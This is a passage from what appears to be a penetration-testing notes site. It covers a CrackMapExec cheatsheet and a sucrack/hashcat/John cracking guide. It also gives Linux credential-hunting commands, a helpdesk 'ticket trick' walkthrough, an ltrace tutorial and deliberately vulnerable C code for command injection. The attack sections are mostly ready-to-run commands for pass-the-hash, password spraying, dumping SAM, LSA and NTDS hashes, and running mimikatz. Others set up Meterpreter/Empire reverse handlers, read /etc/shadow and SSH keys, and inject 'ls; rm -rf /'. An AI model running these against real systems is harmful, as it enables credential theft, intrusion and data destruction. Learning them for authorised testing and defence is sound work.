  • bh_pass = pass

Then, every time cme will find a valid credential, it will be added to bloodhound

Using the database

# The database automatically store every hosts reaches by CME and all credentials with admin access

  • $ cmedb

# Using workspaces

  • cmedb> help
  • cmedb> workspace create test
  • cmedb> workspace test

# Access a protocol database and switch back

  • cmedb (test)> proto smb
  • cmedb (test)> back

# List stored hosts

  • cmedb> hosts

# View detailed infos for a specific machine (including creds)

  • cmedb> hosts <hostname>

# Get stored credentials

  • cmedb> creds

# Get credentials access for a specific account

  • cmedb> creds <username>

# Using credentials from the database

  • crackmapexec smb 192.168.100.1 -id <credsID>

SMB Crackmapexec cheatsheet

Connexions & Spraying

# Target format

  • crackmapexec smb ms.evilcorp.org
  • crackmapexec smb 192.168.1.0 192.168.0.2
  • crackmapexec smb 192.168.1.0-28 10.0.0.1-67
  • crackmapexec smb 192.168.1.0/24
  • crackmapexec smb targets.txt

# Null session

  • crackmapexec smb 192.168.10.1 -u "" up ""

# Connect to target using local account

  • crackmapexec smb 192.168.215.138 -u 'Administrator' -p 'PASSWORD' --local-auth

# Pass the hash against a subnet

  • crackmapexec smb 172.16.157.0/24 -u administrator -H 'LMHASH:NTHASH' --local-auth
  • crackmapexec smb 172.16.157.0/24 -u administrator -H 'NTHASH'
  • crackmapexec smb 192.168.10.11 -u Administrator -H ab2761a405d4501700586917d63e58de -X 'Get-ExcecutionPolicy'

# Bruteforcing and Password Spraying

  • crackmapexec smb 192.168.100.0/24 -u "admin" -p "password1" --no-bruteforce
  • crackmapexec smb 192.168.100.0/24 -u "admin" -p "password1" "password2"
  • crackmapexec smb 192.168.100.0/24 -u "admin1" "admin2" -p "P@ssword"
  • crackmapexec smb 192.168.100.0/24 -u user_file.txt -p pass_file.txt
  • crackmapexec smb 192.168.100.0/24 -u user_file.txt -H ntlm_hashFile.txt

Shares

# Enumerate Shares

  • crackmapexec smb 192.168.0.110 -u "admin1" -p "Admin.123" --shares

Disks

# Enumerate disks

  • crackmapexec smb 192.168.0.110 -u "admin1" -p "Admin.123" --disks

Users

# Enumerate users

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --users

# Perform RID Bruteforce to get users

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --rid-brute

# Enumerate domain groups

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --groups

# Enumerate local users

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --local-users

# Enumerate logged on users

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --loggedon-users

Hosts

# Generate a list of relayable hosts (SMB Signing disabled)

  • crackmapexec smb 192.168.1.0/24 --gen-relay-list output.txt

# Enumerate available shares

  • crackmapexec smb 192.168.215.138 -u 'user' -p 'PASSWORD' --local-auth --shares

# Get the active sessions

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --sessions

# Check logged in users

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --lusers

# Get the password policy

  • crackmapexec smb 192.168.215.104 -u 'user' -p 'PASS' --pass-pol

Execution & Co

# CrackMapExec has 3 different command execution methods (in default order) :

# - wmiexec --> WMI

# - atexec --> scheduled task

# - smbexec --> creating and running a service

# Execute command through cmd.exe (admin privileges required)

  • crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x 'whoami'
  • crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x 'ipconfig'

# Force the smbexec method

  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'net user Administrator /domain' --exec-method smbexec

# Execute commands through PowerShell (admin privileges required)

  • crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X 'Get-ExcecutionPolicy'

Getting Credentials

# Dump local SAM hashes

  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam

# Dump LSA

  • crackmapexec smb 192.168.0.110 -u "admin1" -p "Admin.123" --lsa

# Enable or disable WDigest to get credentials from the LSA Memory

  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --wdigest enable
  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --wdigest disable

# Then you juste have to wait the user logoff and logon again

# But you can force the logoff

  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'quser'
  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -x 'logoff <sessionid>'

# Dump the NTDS.dit from DC using methods from secretsdump.py

# Uses drsuapi RPC interface create a handle, trigger replication

# and combined with additional drsuapi calls to convert the resultant

# linked-lists into readable format

  • crackmapexec smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds

# Uses the Volume Shadow copy Service

  • crackmapexec smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

# Dump the NTDS.dit password history

  • smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Modules

# List available modules

  • crackmapexec smb -L

# Module information

  • crackmapexec smb -M mimikatz --module-info

# View module options

  • crackmapexec smb -M mimikatz --options

# Mimikatz module

  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M mimikatz
  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' -M mimikatz
  • crackmapexec smb 192.168.215.104 -u Administrator -p 'P@ssw0rd' -M mimikatz -o COMMAND='privilege::debug'

[*] Get-ComputerDetails Enumerates sysinfo

[*] bloodhound Executes the BloodHound recon script on the target and retreives the results to the attackers\' machine

[*] empire_exec Uses Empire\'s RESTful API to generate a launcher for the specified listener and executes it

[*] enum_avproducts Gathers information on all endpoint protection solutions installed on the the remote host(s) via WMI

[*] enum_chrome Decrypts saved Chrome passwords using Get-ChromeDump

[*] enum_dns Uses WMI to dump DNS from an AD DNS Server

[*] get_keystrokes Logs keys pressed, time and the active window

[*] get_netdomaincontroller Enumerates all domain controllers

[*] get_netrdpsession Enumerates all active RDP sessions

[*] get_timedscreenshot Takes screenshots at a regular interval

[*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password.

[*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

[*] invoke_sessiongopher Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher

[*] invoke_vnc Injects a VNC client in memory

[*] met_inject Downloads the Meterpreter stager and injects it into memory

[*] mimikatz Dumps all logon credentials from memory

[*] mimikatz_enum_chrome Decrypts saved Chrome passwords using Mimikatz

[*] mimikatz_enum_vault_creds Decrypts saved credentials in Windows Vault/Credential Manager

[*] mimikittenz Executes Mimikittenz

[*] multirdp Patches terminal services in memory to allow multiple RDP users

[*] netripper Capture`\'s credentials by using API hooking

[*] pe_inject Downloads the specified DLL/EXE and injects it into memory

[*] rdp Enables/Disables RDP

[*] scuffy Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares

[*] shellcode_inject Downloads the specified raw shellcode and injects it into memory

[*] slinky Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions

[*] test_connection Pings a host

[*] tokens Enumerates available tokens

[*] uac Checks UAC status

[*] wdigest Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1

[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module

Metasploit

# First, set up a HTTP Reverse Handler

  • msf > use exploit/multi/handler
  • msf exploit(handler) > set payload windows/meterpreter/reverse_https
  • msf exploit(handler) > set LHOST 192.168.10.3
  • msf exploit(handler) > set exitonsession false
  • msf exploit(handler) > exploit -j

# Met_Inject module

  • crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M met_inject -o LHOST=YOURIP LPORT=4444

Empire

# Start RESTful API

  • empire --rest --user empireadmin --pass gH25Iv1K68@^

# First setup an Empire HTTP listener

  • (Empire: listeners) > set Name test
  • (Empire: listeners) > set Host 192.168.10.3
  • (Empire: listeners) > set Port 9090
  • (Empire: listeners) > set CertPath data/empire.pem
  • (Empire: listeners) > run
  • (Empire: listeners) > list

# Start RESTful API

# The username and password that CME uses to authenticate to Empire's RESTful API

# Are stored in the cme.conf file located at ~/.cme/cme.conf

  • empire --rest --user empireadmin --pass gH25Iv1K68@^

# Empire Module

  • crackmapexec smb 192.168.215.104 -u Administrator -p PASSWORD --local-auth -M empire_exec -o LISTENER=CMETest

Sources

https://notes.benheater.com/books/active-directory/page/crackmapexec

https://cheatsheet.haax.fr/windows-systems/exploitation/crackmapexec/

https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-cheatsheet/

[Offline] Cracking passwords with Sucrack

Sucrack is a command-line tool written in Python and provides a simple and efficient way to crack passwords. It supports both single and multi-threaded cracking, enabling users to optimize performance based on their hardware capabilities. The tool is designed to crack password hashes using techniques such as dictionary attacks, hybrid attacks, brute-force attacks, and rule-based attacks.

https://github.com/hemp3l/sucrack

Installation

To install the tool follow the steps in the developer site, or use linux APT package maanger to install

  • sudo apt install sucrack

(OPTIONAL)

  • git clone https://github.com/hemp3l/sucrack
  • cd sucrack
  • ./configure
  • make

How to use

CLI Command Syntax:

Usage: sucrack [-char] [-w num] [-b size] [-s sec] [-u user] [-l rules] wordlist

The word list can either be an existing file or stdin. In that case, use '-' instead of a file name

Options:
h : print this message
a : use ansi escape codes for nice looking statistics
s sec : statistics display interval
c : only print statistics if a key other than `q' is pressed
r : enable rewriter
w num : number of worker threads running with
b size : size of word list buffer
u user : user account to su to
l rules : specify rewriting rules; rules can be:
    A = all characters upper case
    F = first character upper case
    L = last character upper case
    a = all characters lower case
    f = first character lower case
    l = last character lower case
    D = prepend digit
    d = append digit
    e = 1337 characters
    x = all rules

Example #1

1. Having a wordlist with possible password combinations we can run it against a user

  • sucrack -a -w 20 -s 10 -u kali -rl AFLafld wordlist.txt

 

Password Hash Cracking using Hashcat & John

In the field of cybersecurity, password cracking is an essential technique used to assess the strength of passwords and improve overall security. This article will explore two popular tools, Hashcat and John the Ripper, and demonstrate how to create a wordlist using Hashcat from a word and then use John the Ripper to crack a hash.

Understanding Hashcat:

Hashcat is a powerful password recovery tool that uses brute-force, rule-based, and mask-based attacks to crack password hashes. It supports a wide range of hash algorithms and is highly optimized for speed. Before we begin cracking a hash, we'll leverage Hashcat's functionality to create a wordlist.

Creating a Wordlist with Hashcat:

Step 1: Install Hashcat:

  • Visit the official Hashcat website (https://hashcat.net/hashcat/) and download the appropriate version for your system.
  • Install Hashcat by following the installation instructions provided on the website.

Step 2: Create a Wordlist:

Launch a terminal or command prompt and navigate to the directory where Hashcat is installed.

Run the following command to generate a wordlist based on a simple word:

  • ./hashcat --stdout -a 0 vry4n?d > wordlist.txt

Here, "vry4n?d" represents the simple word you want to create variations of, and "wordlist.txt" is the output file that will contain the generated wordlist.

Understanding John the Ripper:

John the Ripper (JtR) is another popular password cracking tool that works on various platforms. It combines several cracking modes, including dictionary-based, brute-force, and hybrid attacks, making it highly versatile and effective.

Cracking a Hash with John the Ripper:

Step 1: Install John the Ripper:

  • Visit the official John the Ripper GitHub repository (https://github.com/openwall/john) and follow the installation instructions for your specific operating system.

Step 2: Prepare the Hash File:

  • Create a text file named "hash.txt" and paste the hash you want to crack into it. Ensure there are no additional characters or spaces in the file.

Step 3: Launch John the Ripper:

  • Open a terminal or command prompt and navigate to the directory where John the Ripper is installed.

Step 4: Run the Hash Cracking:

Execute the following command to crack the hash using John the Ripper:

  • ./john --format=NT hash.txt --wordlist=wordlist.txt

Here, "hash.txt" is the file containing the hash, and "wordlist.txt" is the wordlist generated in the previous step using Hashcat.

Wait for John the Ripper to complete the cracking process. It will display the cracked password if successful.

How to

1. Having a hash ($2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO) that we need to crack, if we suspect of a word or list of words, in this case PleaseSubscribe!, we can use hashcat to create a random combination of characters

  • echo PleaseSubscribe! | hashcat -r /usr/share/hashcat/rules/best64.rule --stdout > wordlist.txt
  • cat wordlist.txt

2. Having our wordlist, we can execute john against the hashfile

  • john hashfile.txt --wordlist=wordlist.txt
  • cat hashfile.txt

3. This new password can be used to access other resource, escalate privileges, lateral movement, and so.

Conclusion

We explored the powerful password cracking tools Hashcat and John the Ripper. We learned how to create a wordlist using Hashcat, leveraging its flexibility and functionality. Then, we used John the Ripper to crack a hash by providing the generated wordlist. By understanding these tools and their capabilities, security professionals can assess the strength of passwords and enhance overall cybersecurity.

 

[Credential Hunting] Extracting Credentials from Configuration Files

Configuration files play a critical role in storing sensitive credentials for various applications and services. Attackers often target these files to extract valuable information, such as usernames, passwords, API keys, and database credentials. Understanding the techniques employed by adversaries is vital in implementing effective defensive measures.

Techniques for Extracting Credentials

Attackers utilize multiple methods to extract credentials from configuration files. The following techniques are commonly observed in credential extraction attacks:

  • File Parsing: Attackers parse configuration files, leveraging knowledge of file formats and patterns to identify and extract credentials.
  • Regular Expressions: Utilizing pattern matching techniques, attackers search for credential-like strings within configuration files.
  • File Inclusion Vulnerabilities: Exploiting vulnerabilities that allow them to read or include arbitrary files, attackers gain access to configuration files containing credentials.
  • Data Leakage: Identifying misconfigurations or insecure logging practices, attackers exploit logs or error messages that inadvertently reveal credentials.

Common Configuration Files Containing Credentials

Certain configuration files frequently store credentials, making them attractive targets for attackers. Examples of commonly targeted files include:

  • Web Application Configurations: Files like web.config (ASP.NET), .env (PHP), or application.properties (Java) may contain database credentials or API keys.
  • Database Configuration Files: Configuration files like my.cnf (MySQL) or pg_hba.conf (PostgreSQL) often store database access credentials.
  • Network Service Configurations: SSH server configurations (sshd_config), mail server configurations (smtpd.conf), or VPN configurations (openvpn.conf) may contain critical credentials.
  • Binary Analysis: Attackers analyze binary files associated with applications to extract credentials embedded within them.
  • Memory Scraping: Attackers target running processes or system memory to retrieve credentials stored temporarily during application runtime.
  • Configuration File Misplacement: Attackers exploit misconfigurations that result in configuration files being inadvertently placed in publicly accessible locations.
  • Server Misconfigurations: Attackers leverage misconfigurations in web servers, FTP servers, or other services to gain unauthorized access to configuration files and extract credentials.

Example: Config files

1. In this case we have an application installed, which is connected to a database, looking into the configuration files we found config.json, which contains a username and password. The first step is to identify the home folder for the application

  • whereis mattermost

2. Knowing this help us find files using different techniques

  • ls -lR | grep -i conf
  • find /opt/mattermost -type f -iname "*config*" -o -iname "*conf*" 2> /dev/null
  • find /opt/mattermost -type f -exec grep -liE 'username|password|user|pass' {} +

3. Searching though the output we found config.json, reading this file we can find

  • cat /opt/mattermost/config/config.json | grep -iE "user|username|pass|password"

4. Knowing, this configuration file could contain additional information, we proceed to read it

  • cat /opt/mattermost/config/config.json | less

Note: we also found something that seems SQL username and password

5. We will try access this database

  • mysql -u mmuser -p
  • Password: Crack_The_MM_Admin_PW
  • show databases;

Techniques

Password Hunting – Filenames and File Contents

When it comes to password hunting, one of the first things we should do is perform a high-level search to look for files that contain “password” in the filename. In addition to filenames, we should also be looking for the string “password” inside files.

Hunting for Interesting Filenames

1. We should start by looking for filenames that contain the word “password” in them before looking for the string “password” inside files on the filesystem. Additionally, we should also be looking for filenames that contain any other interesting strings that we can think of (config, php, etc.)

  • find / -exec ls -lad $PWD/* "{}" 2>/dev/null \; | grep -i -I "passw\|pwd"
  • find . -type f -exec grep -i -I “PASSWORD\|PASSWD” {} /dev/null \;
  • cat /var/mail/*; cat var/spol/mail
  • crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron; cat /etc/cron; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny; cat /etc/crontab; cat /etc/anacrontab; cat /var/spool/cron/crontabs/root
  • find /home/* -type f -name "*.txt" -o ! -name "*.*"

2. Another command that we can use to comb the entire filesystem for files that contain a certain string in their name is the locate command.

  • locate 'passw'
  • locate 'pwd'
  • locate '*.php'
  • locate config.php
  • locate password; locate passwd
  • locate config.

Hunting for Interesting Strings Inside Files

1. There is a nice utilization of the grep command that we can use to search for files that contain the string “passw” and “pwd” across the entire filesystem; however, it does produce a RIDICULOUS amount of results.

  • grep --color=auto -rnw '/' -iIe "PASS\|PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null
  • grep –color=auto -rnw ‘/’ -ie “PASSWORD\|PASSWD” –color=always 2> /dev/null

2. we can navigate to common folders where we normally find interesting files, such as /var/www, /tmp, /opt, /home, etc. and then execute the following command:

  • grep --color=auto -rnw -iIe "PASSW\|PASSWD\|PASSWORD\|PWD" --color=always 2>/dev/null

Check for Hashes Stored in Passwd/Shadow

  • find / -name passwd -xdev 2>/dev/null; find / -name shadow -xdev 2>/dev/null
  • cat /etc/passwd; cat /etc/shadow

Old passwords in /etc/security/opasswd

The /etc/security/opasswd file is used by pam_cracklib (a module used in Linux to ensure a good password policy is in place) to store the hashed version of old passwords used on the system to prevent users from reusing the same ones over and over again.

  • cat /etc/security/opasswd
  • find / -name opasswd -xdev 2>/dev/null

Recently Modified Files

It can be useful to check files that were modified recently, as they may be containing useful information and/or credentials.

  • find / -mmin -30 -xdev 2>/dev/null

Credentials Stored in Memory

Services will sometimes store the credentials entered by the end user in clear text in memory. The commands below can help find credentials stored in processes:

  • strings /dev/mem -n10 | grep -ie “PASSWORD|PASSWD” –color=always

Password Hunting – Hidden Files and Folders

1. On *nix systems, hidden files and folders will start with a period like the .bash_history file or the .ssh folder. To look for hidden files or folders, we can use the ‘-a’ switch when using the ls command, like so:

  • ls -la
  • ls -la /

Passwords in Bash History Files

1. The .bash_history file is a file that stores a history of user commands entered at the command prompt; used for viewing old commands that have been executed. The user’s current session saves the command history into memory, which can be viewed with the history command. But once that user logs off, the commands stored in memory are saved to the .bash_history file.

  • find / -name *_history -xdev 2> /dev/null
  • cat /home/user/.bash_history

Passwords in SSH Keys

1. When we are enumerating the different user profiles, we may come across a hidden folder that contains SSH keys! – This is commonly named .ssh and can be found using ls-la. we find there is an .ssh directory and inside an id_rsa file that we have read permissions on!

The id_rsa file is a private key that can be used to login to SSH without knowing the users password, but only if no password was set when the key was created. This file is essentially the equivalent of a password, with regards to getting you into the system.

  • cd /home/usr/.ssh/id_rsa
  • cat id_rsa

2. Uses Linux-based command grep to search the file system for key terms `PRIVATE KEY` to discover SSH keys.

  • grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"

3. Uses Linux-based grep command to search for the keywords `PRIVATE KEY` within files contained in a user's home directory.

  • grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

4. Uses Linux-based grep command to search for keywords `ssh-rsa` within files contained in a user's home directory.

  • grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

Password Hunting – MySQL

1. Let’s jump into MySQL and enumerate the databases and tables. If we get lucky, we may find usernames and passwords for web applications as well as MySQL itself.

  • mysql -u root -p
  • show databases;
  • use <DB name>;
  • show tables;
  • select * from user;

Apart from the default databases, we should ALWAYS be interested in custom ones. Especially when the custom DB is related to a web application. If we find some password hashes in here, we may be able to crack them and use them to increase our access.

Password Hunting – /var/backups Folder

The /var/backups folder is where some automatic backups are stored, such as a backup of both the passwd and shadow file. However, the default backup files will have a restricted set of permissions just like the actual files do.

Essentially, we are looking for one of two scenarios…

  • The files in the backup folder have weak permissions allowing us to read files we should not be able to.
  • There are custom files in the folder that we can read.

Hunting with LinPEAS

For interesting strings in file names, LinPEAS only has the following sub-section: Searching *password* or *credential* files in home (limit 70). Although it says “in home”, it actually checks the entire filesystem. Unfortunately, the limit of 70 helps reduce output, but it also leaves out a lot of potential findings.

The strings inside files is also very targeted, for example it searches for passwords in log files, config PHP files, as well as only a few others.

For the rest of the LinPEAS example, we will look at how many of the same files it was able to find that we also found.

  • Config.php? – Found! – Finds the file and extracts the contents of the password.

  • passwd.dav? – NOT Found!
  • Hidden folder and file: /.important/.password? – Found! – Finds the files but does NOT extract the contents for us.

  • .bash_history files? – Found! – Finds which ones are readable by the current user, but does NOT extract the contents for us.
  • .ssh folder and SSH keys? – Found! – Finds which ones are readable by the current user, but does NOT extract the contents for us.

  • Hashes in MySQL? – NOT Found! – LinPEAS does not have the ability to access the database if there is a password set on the root MySQL user account.
  • pwds.db? – Found! – LinPEAS searches for interesting DB files and extracts the contents. Here we can see that it only dumps one hash in the file, but its enough to let us know we can go and explore it further manually.

  • backup.rar?– Found! – LinPEAS extracts all files from /opt and also has a check to find backup files.

Scripts

1. Script that can be used to find .conf, .config and .cnf files on a Linux system.

  • for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done

2. Script that can be used to find credentials in specified file types.

  • for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done

3. Script that can be used to find common database files.

  • for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done

4. Script that can be used to search for common file types used with scripts.

  • for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share";done

5. Script used to look for common types of documents.

  • for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core" ;done

Some interesting keywords

Passphrase

Codephrase

Passcode

Keyphrase

Secret

Secure

Access

Secure passcode

Authentication

Auth

Token

Verification

Identity

Access

Security

Private

Secret

Cryptographic

Keyfile

Private code

Cipher

Secret

Passkey

Access

Key

password

Unlock

Security

Code

Secret

Security

Passcode

Cipher

Key

Cryptographic

Crypto

Encryption

Key pair

Decryption

Authentication

Credential

Auth

Credential

Identity code

Access

Countermeasures: Protecting Credentials in Configuration Files

To mitigate the risk of credential extraction from configuration files, the following countermeasures should be implemented:

  • Encryption and Hashing: Encrypt or hash sensitive credentials within configuration files to make them unusable if obtained by attackers.
  • Secure File Permissions: Set appropriate file permissions to limit access to configuration files, ensuring that only authorized users can read or modify them.
  • Environment Variables: Store credentials as environment variables instead of hardcoding them in configuration files.
  • Credential Management Systems: Implement secure credential management systems that centralize and protect sensitive credentials.
  • Regular Auditing: Conduct regular audits to identify insecure configurations and ensure proper protection of credentials.
  • Secure Development Practices: Train developers on secure coding practices, emphasizing the importance of properly handling credentials in configuration files.

Monitoring and Intrusion Detection

Implementing robust monitoring and intrusion detection mechanisms can help identify unauthorized access or suspicious activities related to configuration files. Key monitoring measures include:

  • Log Monitoring: Regularly analyze logs for unusual activity, such as unexpected modifications or access to configuration files.
  • Intrusion Detection Systems (IDS): Deploy IDS solutions to detect anomalous patterns or known attack signatures targeting configuration files.
  • Endpoint Security: Employ endpoint security solutions that detect and prevent unauthorized access to configuration files.

References

https://juggernaut-sec.com/password-hunting-lpe/

https://steflan-security.com/linux-privilege-escalation-credentials-harvesting/

https://atom.hackstreetboys.ph/linux-privilege-escalation-password-and-keys/

https://pentest.coffee/local-password-attack-and-credentials-theft-for-windows-linux-5764a1a25363

[Exploitation] Ticket Trick: Exploiting Email Address Verification

In today's interconnected world, email addresses play a crucial role in verifying user identity. However, a vulnerability known as the "ticket trick" has emerged, potentially granting unauthorized individuals access to internal services of organizations. In this article, we will delve into the nature of the ticket trick vulnerability, explore how it can be abused, and discuss effective remedies to protect against this security issue.

Description:

The ticket trick vulnerability arises when non-employee users gain access to email addresses associated with a corporate domain, such as @Company.com. This vulnerability is particularly concerning as many cloud services rely on email addresses as "proof of employment." By leveraging this vulnerability, unauthorized individuals can manipulate email address verification mechanisms to gain access to internal services like GitHub, Slack, Confluence, and others.

How to Abuse the Vulnerability:

  • Identifying the Corporate Domain: The first step in exploiting the ticket trick vulnerability is identifying an organization that uses a corporate domain for email addresses. Common examples include @Company.com or @OrganizationName.com.
  • Gaining Access to Email Addresses: Non-employee users need to find a way to gain access to email addresses associated with the corporate domain. This might involve exploiting misconfigurations, overlooked email aliases, or weak access controls.
  • Cloud Service Account Creation: Next, the non-employee user proceeds to create an account on a cloud service that relies on email verification as proof of employment. During the account creation process, they provide an email address within the corporate domain.
  • Granting Access to Internal Services: The cloud service, considering the email address as proof of employment, grants access to internal services meant for employees. This could include code repositories, collaboration platforms, project management tools, and more.

Example #1

HelpDesks usually allow users to email to a temporary email address provided by HelpDesks to update the status of an open ticket. If though the corporate domain is used for tickets, this "feature" allows non-

employee users to have access to @Company.com email addresses. Many cloud services take email

addresses as "proof of employment" and may grant access to internal services like GitHub, Slack,

Confluence, etc. Let’s try to create a new Ticket.

1. In this case we have an app that offers a service to open a ticket with support

  • Click on “Open a New Ticket”

2. Now fill in the information to open the ticket

  • Email Address: vry4n@test.com
  • Full Name: Unknown
  • Phone Number: 8758907777
  • Help Topic: Contact us
  • Issue Summary: I need technical support

3. Once the request is submitted, this application provides us with a temporary email

  • 5774642@delivery.htb

4. In this case we can check the ticket status providing the new temporary email

  • Click on “Check Ticket Status”

5. We are displayed with an email inbox

6. Now try to access any internal site and use this temporary email to sign in

  • 5774642@delivery.htb
  • Password: AdminAdmin!23

7. After submitting the register form, we received an email to our temporary e-mail address 5774642@delivery.htb

8. Click on the activation email form, and then use the credentials to log in, we manage to log in as an internal user, as we used an internal account to authenticate

9. Looking through the channels we found an internal chat that includes some credentials

Remedy recommendations

  • Multi-Factor Authentication (MFA): Implementing MFA can significantly enhance security. Require additional verification steps beyond email address confirmation, such as SMS verification, hardware tokens, or biometric authentication.
  • Identity and Access Management (IAM): Employ a robust IAM system that ensures access controls are well-defined and continuously audited. Regularly review and revoke access for non-employees or accounts associated with inactive or compromised email addresses.
  • Custom Verification Processes: Cloud services should develop custom verification processes that go beyond relying solely on email addresses. Consider additional identity verification methods, such as employment contracts, digital certificates, or HR validation.
  • Security Awareness and Training: Educate employees and users about the risks associated with email address verification and the potential impact of the ticket trick vulnerability. Encourage them to report any suspicious activity and maintain strong cybersecurity practices.

Sources

https://www.sherpadesk.com/blog/ticket-trick-hack-protection-for-small-businesses

https://blog.segu-info.com.ar/2018/10/ticket-trick-acceder-cientos-de.html

https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c

https://www.secplicity.org/2017/09/22/unconventional-hacking-ticket-trick/

https://thenextweb.com/news/ticket-trick-see-hackers-gain-unauthorized-access-slack-teams-exploiting-issue-trackers

 

[Debugging] ltrace Tool

ltrace is a powerful Linux debugging utility that allows you to intercept and trace library calls made by a program. It helps developers and system administrators understand how a program interacts with shared libraries, identify potential issues, and gain insights into the program's behavior. ltrace is particularly useful for understanding the dynamic behavior of applications, as it traces the library calls at runtime

ltrace is a powerful tool for tracing library calls and gaining insights into program behavior..

Installation:

Before using ltrace, you need to ensure that it is installed on your system. To install ltrace on a Debian-based system, use the following command:

Linux

  • sudo apt-get install ltrace

For Red Hat-based systems, use:

  • sudo yum install ltrace

For macOS, you can install ltrace using Homebrew:

  • brew install ltrace

Basic Usage:

The basic syntax of ltrace is as follows:

  • ltrace [options] [command]

Here, [options] are the various command-line options that you can use with ltrace, and [command] is the executable or command you want to trace.

ltrace is typically used in scenarios where you want to:

  • Understand how a program interacts with shared libraries.
  • Diagnose issues related to library calls.
  • Identify potential performance bottlenecks caused by library functions.
  • Debug issues that may not be easily traceable with traditional debugging tools.
  • Now, let's explore some practical examples to illustrate the usage of ltrace.

Example 1: Tracing Library Calls of a Simple Program

Let's start with a simple C program, example.c, which uses the printf function from the standard C library:

Compile the program:

  • gcc -o example example.c

Trace the library calls using ltrace:

  • ltrace ./example

In the output, you can see the library calls made by the printf function. For example, puts is called with the string "Hello, World!".

Example 2: Tracing a Specific Library Function

In this example, we will trace only the strlen function from the C library:

1. Compile the program:

  • gcc -o example2 example2.c

2. Trace only the strlen function using ltrace:

  • ltrace -e strlen ./example2

In the output, you can see that the strlen function is called with the string "Hello, ltrace!" and the length is printed.

Example 3: Tracing Child Processes

ltrace can also trace child processes created by the main program. Let's create a simple C program, child.c, that will be executed as a child process:

Compile the child program:

  • gcc -o child child.c

Create a parent program that will execute the child program:

Compile the parent program:

  • gcc -o parent parent.c

Trace the library calls of the parent and child programs using ltrace:

  • ltrace -f ./parent

In the output, you can see the library calls made by both the parent and child processes. The calls to puts correspond to the printf statements in each program.

 

[C] Exploiting system() Calls in C and Command Injection

The system() function in C is used to execute shell commands from within a C program. However, if user-supplied data is directly incorporated into the command string without proper validation and sanitization, it can lead to a command injection vulnerability. This allows an attacker to execute arbitrary commands on the underlying system with the privileges of the vulnerable program.

Exploiting Command Injection:

1. To exploit command injection, an attacker typically identifies a vulnerable program that incorporates user input into the system() function call without proper validation. Here's an example:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char command[100];
    printf("Enter a command: ");
    scanf("%s", command);
    system(command);
    return 0;
}

In this code snippet, the user's input is directly incorporated into the command string, which is then passed to the system() function. If the input is not properly validated, an attacker can manipulate it to execute arbitrary commands. For example, by entering ls; rm -rf /, the attacker can execute the ls command followed by the dangerous rm -rf / command.

2. Using ltrace to find the calls, we see system() being called

  • ltrace ./example1
  • ls

3. We can now try to inject a command

  • ltrace ./example1
  • ls;date

Note: we see now the date output displayed

Exploiting Command Injection while Reading a File:

1. Let's consider another example where a vulnerable program allows an attacker to execute arbitrary commands while reading a file:

#include <stdio.h>
#include <stdlib.h>

int main() {
    char filename[100];
    printf("Enter a filename: ");
    scanf("%s", filename);
    char command[200];
    sprintf(command, "cat %s", filename);
    printf("Executing command: %s\n", command);
    system(command);
    return 0;
}

